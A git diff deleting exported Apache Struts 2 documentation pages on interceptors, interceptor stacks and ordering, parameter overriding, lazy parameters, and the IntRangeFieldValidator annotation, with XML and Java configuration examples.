-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13888">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13888">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13888">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13888">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13888">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Interceptors provide an excellent means to wrap before/after processing.  The concept reduces code duplication (think AOP).</p>
-
-<p>Order of interceptors...</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptor-stack name="xaStack"&gt; 
-  &lt;interceptor-ref name="thisWillRunFirstInterceptor"/&gt;
-  &lt;interceptor-ref name="thisWillRunNextInterceptor"/&gt;
-  &lt;interceptor-ref name="followedByThisInterceptor"/&gt;
-  &lt;interceptor-ref name="thisWillRunLastInterceptor"/&gt;
-&lt;/interceptor-stack&gt;
-</pre>
-</div></div>
-
-
-<p>Note that some interceptors will interrupt the stack/chain/flow... so the order is very important.</p>
-
-<p>Iterceptors implementing com.opensymphony.xwork.interceptor.PreResultListener will run after the Action executes its action method but before the Result executes</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-thisWillRunFirstInterceptor
-  thisWillRunNextInterceptor
-    followedByThisInterceptor
-      thisWillRunLastInterceptor
-        MyAction1
-        MyAction2 (chain)
-        MyPreResultListener  
-        MyResult (result)
-      thisWillRunLastInterceptor
-    followedByThisInterceptor
-  thisWillRunNextInterceptor
-thisWillRunFirstInterceptor
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/interceptors.data/overview.png b/content/docs/interceptors.data/overview.png
deleted file mode 100644
index a116c7b..0000000
Binary files a/content/docs/interceptors.data/overview.png and /dev/null differ
diff --git a/content/docs/interceptors.html b/content/docs/interceptors.html
deleted file mode 100644
index d90cd72..0000000
--- a/content/docs/interceptors.html
+++ /dev/null
@@ -1,361 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Interceptors</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Interceptors</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13941">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13941">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13941">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13941">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13941">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13941">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p>The default Interceptor stack is designed to serve the needs of most applications. Most applications will <strong>not</strong> need to add Interceptors or change the Interceptor stack.</p></rich-text-body><p>Many Actions share common concerns. Some Actions need input validated. Other Actions may need a file upload to be pre-processed. Another Action might need protection from a double submit. Many Actions need drop-down lists and [...]
-   &lt;interceptors&gt;
-       &lt;interceptor name="timer" class=".."/&gt;
-       &lt;interceptor name="logger" class=".."/&gt;
-   &lt;/interceptors&gt;
-
-   &lt;action name="login" class="tutorial.Login"&gt;
-      &lt;interceptor-ref name="timer"/&gt;
-      &lt;interceptor-ref name="logger"/&gt;
-      &lt;result name="input"&gt;login.jsp&lt;/result&gt;
-      &lt;result name="success" type="redirectAction"&gt;/secure/home&lt;/result&gt;
-   &lt;/action&gt;
-&lt;/package&gt;
-</plain-text-body><h2 id="Interceptors-StackingInterceptors">Stacking Interceptors</h2><p>With most web applications, we find ourselves wanting to apply the same set of Interceptors over and over again. Rather than reiterate the same list of Interceptors, we can bundle these Interceptors together using an Interceptor Stack.</p><parameter ac:name="">xml</parameter><parameter ac:name="title">struts.xml</parameter><plain-text-body>&lt;package name="default" extends="struts-default"&gt;
-   &lt;interceptors&gt;
-        &lt;interceptor name="timer" class=".."/&gt;
-        &lt;interceptor name="logger" class=".."/&gt;
-        &lt;interceptor-stack name="myStack"&gt;
-           &lt;interceptor-ref name="timer"/&gt;
-           &lt;interceptor-ref name="logger"/&gt;
-        &lt;/interceptor-stack&gt;
-    &lt;/interceptors&gt;
-
-   &lt;action name="login" class="tutuorial.Login"&gt;
-         &lt;interceptor-ref name="myStack"/&gt;
-         &lt;result name="input"&gt;login.jsp&lt;/result&gt;
-         &lt;result name="success" type="redirectAction"&gt;/secure/home&lt;/result&gt;
-   &lt;/action&gt;
-&lt;/package&gt;
-</plain-text-body><p>Looking inside <code>struts-default.xml</code>, we can see how it's done.</p><h3 id="Interceptors-TheDefaultConfiguration">The Default Configuration</h3><p><plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/struts-default.xml}</plain-text-body>Since the <code>struts-default.xml</code> is included in the application's configuration by default, all of the predefined interceptors and stacks are available "out of the box".</p><h2 id="Intercepto [...]
-    &lt;interceptor-ref name="exception"/&gt;
-    &lt;interceptor-ref name="alias"/&gt;
-    &lt;interceptor-ref name="params"/&gt;
-    &lt;interceptor-ref name="servletConfig"/&gt;
-    &lt;interceptor-ref name="prepare"/&gt;
-    &lt;interceptor-ref name="i18n"/&gt;
-    &lt;interceptor-ref name="chain"/&gt;
-    &lt;interceptor-ref name="modelDriven"/&gt;
-    &lt;interceptor-ref name="fileUpload"/&gt;
-    &lt;interceptor-ref name="staticParams"/&gt;
-    &lt;interceptor-ref name="params"/&gt;
-    &lt;interceptor-ref name="conversionError"/&gt;
-    &lt;interceptor-ref name="validation"&gt;
-        &lt;param name="excludeMethods"&gt;myValidationExcudeMethod&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="workflow"&gt;
-        &lt;param name="excludeMethods"&gt;myWorkflowExcludeMethod&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-&lt;/action&gt;
-</plain-text-body><p><strong>Method 2</strong>:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;action name="myAction" class="myActionClass"&gt;
-    &lt;interceptor-ref name="defaultStack"&gt;
-        &lt;param name="validation.excludeMethods"&gt;myValidationExcludeMethod&lt;/param&gt;
-        &lt;param name="workflow.excludeMethods"&gt;myWorkflowExcludeMethod&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-&lt;/action&gt;
-</plain-text-body><p>In the first method, the whole default stack is copied and the parameter then changed accordingly.</p><p>In the second method, the <code>interceptor-ref</code> refers to an existing interceptor-stack, namely <code>defaultStack</code> in this example, and override the <code>validator</code> and <code>workflow</code> interceptor <code>excludeMethods</code> attribute. Note that in the <code>param</code> tag, the name attribute contains a dot (.) the word before the dot( [...]
-</plain-text-body><p>Note also that in this case the <code>interceptor-ref</code> name attribute is used to indicate an interceptor stack which makes sense as if it is referring to the interceptor itself it would be just using Method 1 describe above.</p><p><strong>Method 3</strong>:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;interceptors&gt;
-    &lt;interceptor-stack name="parentStack"&gt;
-        &lt;interceptor-ref name="defaultStack"&gt;
-            &lt;param name="params.excludeParams"&gt;token&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-    &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-
-&lt;default-interceptor-ref name="parentStack"/&gt;
-</plain-text-body><h3 id="Interceptors-InterceptorParameterOverridingInheritance">Interceptor Parameter Overriding Inheritance</h3><p>Parameters override are not inherited in interceptors, meaning that the last set of overridden parameters will be used. For example, if a stack overrides the parameter "defaultBlock" for the "postPrepareParameterFilter" interceptor as:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;interceptor-stack name="parentStack"&gt;
-  &lt;interceptor-ref name="postPrepareParameterFilter"&gt;
-    &lt;param name="defaultBlock"&gt;true&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-&lt;/interceptor-stack&gt;
-</plain-text-body><p>and an action overrides the "allowed" for "postPrepareParameterFilter":</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;package name="child2" namespace="/child" extends="parentPackage"&gt;
-  &lt;action name="list" class="SomeAction"&gt;
-    &lt;interceptor-ref name="parentStack"&gt;
-      &lt;param name="postPrepareParameterFilter.allowed"&gt;myObject.name&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-  &lt;/action&gt;
-&lt;/package&gt;
-</plain-text-body><p>Then, only "allowed" will be overridden for the "postPrepareParameterFilter" interceptor in that action, the other params will be null.</p><h3 id="Interceptors-Lazyparameters">Lazy parameters</h3><rich-text-body><p>This functionality was added in Struts 2.5.9</p></rich-text-body><p>It is possible to define an interceptor with parameters evaluated during action invocation. In such case the interceptor must be marked with&#160;<code>WithLazyParams</code>&#160;interface [...]
-  &lt;result name="success"&gt;result.jsp&lt;/result&gt;
-  &lt;interceptor-ref name="lazy"&gt;
-    &lt;param name="foo"&gt;${bar}&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-&lt;/action&gt;</plain-text-body><parameter ac:name="">java</parameter><plain-text-body>public class MockLazyInterceptor extends AbstractInterceptor implements WithLazyParams {
-
-    private String foo = "";
-
-    public void setFoo(String foo) {
-        this.foo = foo;
-    }
-
-    public String intercept(ActionInvocation invocation) throws Exception {
-        ....
-        return invocation.invoke();
-    }
-}</plain-text-body><p>Please be aware that order of interceptors can matter when want to access parameters passed via request as those parameters are set by&#160;<a shape="rect" href="parameters-interceptor.html">Parameters Interceptor</a>.</p><h3 id="Interceptors-OrderofInterceptorExecution">Order of Interceptor Execution</h3><p>Interceptors provide an excellent means to wrap before/after processing. The concept reduces code duplication (think AOP).</p><parameter ac:name="">xml</paramet [...]
-  &lt;interceptor-ref name="thisWillRunFirstInterceptor"/&gt;
-  &lt;interceptor-ref name="thisWillRunNextInterceptor"/&gt;
-  &lt;interceptor-ref name="followedByThisInterceptor"/&gt;
-  &lt;interceptor-ref name="thisWillRunLastInterceptor"/&gt;
-&lt;/interceptor-stack&gt;
-</plain-text-body><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Note that some Interceptors will interrupt the stack/chain/flow ... so the order is very important.</p><p>Interceptors implementing <code>com.opensymphony.xwork2.interceptor.PreResultListener</code> will run after the Action executes but before the Re [...]
-  thisWillRunNextInterceptor
-    followedByThisInterceptor
-      thisWillRunLastInterceptor
-        MyAction1
-        MyAction2 (chain)
-        MyPreResultListener
-        MyResult (result)
-      thisWillRunLastInterceptor
-    followedByThisInterceptor
-  thisWillRunNextInterceptor
-thisWillRunFirstInterceptor
-</plain-text-body><h2 id="Interceptors-FAQ">FAQ</h2><ul><li><a shape="rect" href="how-do-we-configure-an-interceptor-to-be-used-with-every-action.html">How do we configure an Interceptor to be used with every Action</a>?</li><li><a shape="rect" href="how-do-we-get-access-to-the-session.html">How do we get access to the session</a>?</li><li><a shape="rect" href="how-can-we-access-the-httpservletrequest.html">How can we access the HttpServletRequest</a>?</li><li><a shape="rect" href="how-c [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/intrangefieldvalidator-annotation.html b/content/docs/intrangefieldvalidator-annotation.html
deleted file mode 100644
index f01d552..0000000
--- a/content/docs/intrangefieldvalidator-annotation.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>IntRangeFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="intrangefieldvalidator-annotation.html">IntRangeFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">IntRangeFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13867">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13867">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13867">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13867">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13867">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13867">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a numeric field has a value within a specified range.
-If neither min nor max is set, nothing will be done.</p>
-
-<h2 id="IntRangeFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="IntRangeFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<p></p><p>If neither <em>min</em> nor <em>max</em> is set, nothing will be done.</p>
-
-<p></p><p>The values for min and max must be inserted as String values so that "0" can be handled as a possible value.</p>
-
-<h2 id="IntRangeFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@IntRangeFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, min = &quot;0&quot;, max = &quot;42&quot;)
-
-@IntRangeFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, minExpression = &quot;${minValue}&quot;, maxExpression = &quot;${maxValue}&quot;)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/introducing-interceptors.html b/content/docs/introducing-interceptors.html
deleted file mode 100644
index cc52b0f..0000000
--- a/content/docs/introducing-interceptors.html
+++ /dev/null
@@ -1,190 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
